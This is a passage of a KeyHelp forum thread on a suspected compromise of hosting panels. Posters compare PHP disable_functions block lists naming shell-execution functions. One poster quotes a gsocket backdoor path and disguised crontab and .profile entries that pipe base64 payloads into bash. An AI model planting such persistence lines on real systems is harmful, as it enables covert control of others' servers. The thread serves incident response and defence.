Re: Possible attack on Keyhelp panels
Posted: Wed 20. May 2026, 09:50
Das offizielle KeyHelp Forum der Keyweb AG / The official KeyHelp forum of Keyweb AG
https://community.keyhelp.de/
They are blocked by default. This is the current list of disable_functions, as you can see, exec, system, passthru, ... are part of it.
KeyHelp disable_functions wrote:apache_child_terminate, apache_note, apache_setenv, curl_multi_exec, define_syslog_variables, dl, exec, link, opcache_get_status, openlog, passthru, pcntl_exec, pcntl_fork, pcntl_setpriority, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, stream_socket_sendto, symlink, syslog, system
For me it wasn't under Ubuntu 24, also in the demo they aren't.Alexander wrote: ↑Thu 21. May 2026, 10:45They are blocked by default. This is the current list of disable_functions, as you can see, exec, system, passthru, ... are part of it.
KeyHelp disable_functions wrote:apache_child_terminate, apache_note, apache_setenv, curl_multi_exec, define_syslog_variables, dl, exec, link, opcache_get_status, openlog, passthru, pcntl_exec, pcntl_fork, pcntl_setpriority, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, stream_socket_sendto, symlink, syslog, system
Of course they are, and this is since the beginning of KeyHelp.For me it wasn't under Ubuntu 24, also in the demo they aren't.
Code: Select all
apache_child_terminate,apache_note,apache_setenv,chroot,curl_multi_exec,define_syslog_variables,disk_free_space,diskfreespace,dl,exec,highlight_file,imap_open,inject_code,link,mb_send_mail,opcache_get_status,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,putenv,shell_exec,show_source,stream_socket_sendto,symlink,syslog,systemCode: Select all
sudo apt update
sudo apt dist-upgrade
rebootBy the way the info you guys gave here is truly appreciated. It is very hard to understand what happens when information is too sparse.theqkash wrote: ↑Thu 14. May 2026, 16:20 On my side:
Code: Select all
2026-05-14 15:09:51 /home/keyhelp/www/adminer/index.php 2026-05-14 15:09:51 /home/keyhelp/www/keyhelp/index.php 2026-05-14 15:09:54 /home/keyhelp/www/phpmyadmin/index.php 2026-05-14 15:09:54 /home/keyhelp/www/roundcube/index.php 2026-05-14 15:09:54 /home/keyhelp/www/snappymail/index.php
Code: Select all
/home/users/USER/.config/htop/defunct
this is gsocket, delete it
/var/spool/cron/crontabs/USER
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Fri May 15 07:11:55 2026)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# DO NOT REMOVE THIS LINE. SEED PRNG. #lsphp-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU1MDEyIGxzcGhwIDI+L3Vzci9iaW4vcGtpbGwgLTAgLVU1MDE4IG|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng lsphp-kernel
# DO NOT REMOVE THIS LINE. SEED PRNG. #systemd-journald-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU1MDE4IG|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng systemd-journald-kernel
/home/users/USER/.profile
# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVU1MDE4IG==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH="$HOME/bin:$PATH"
fi
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/.local/bin" ] ; then
PATH="$HOME/.local/bin:$PATH"
fi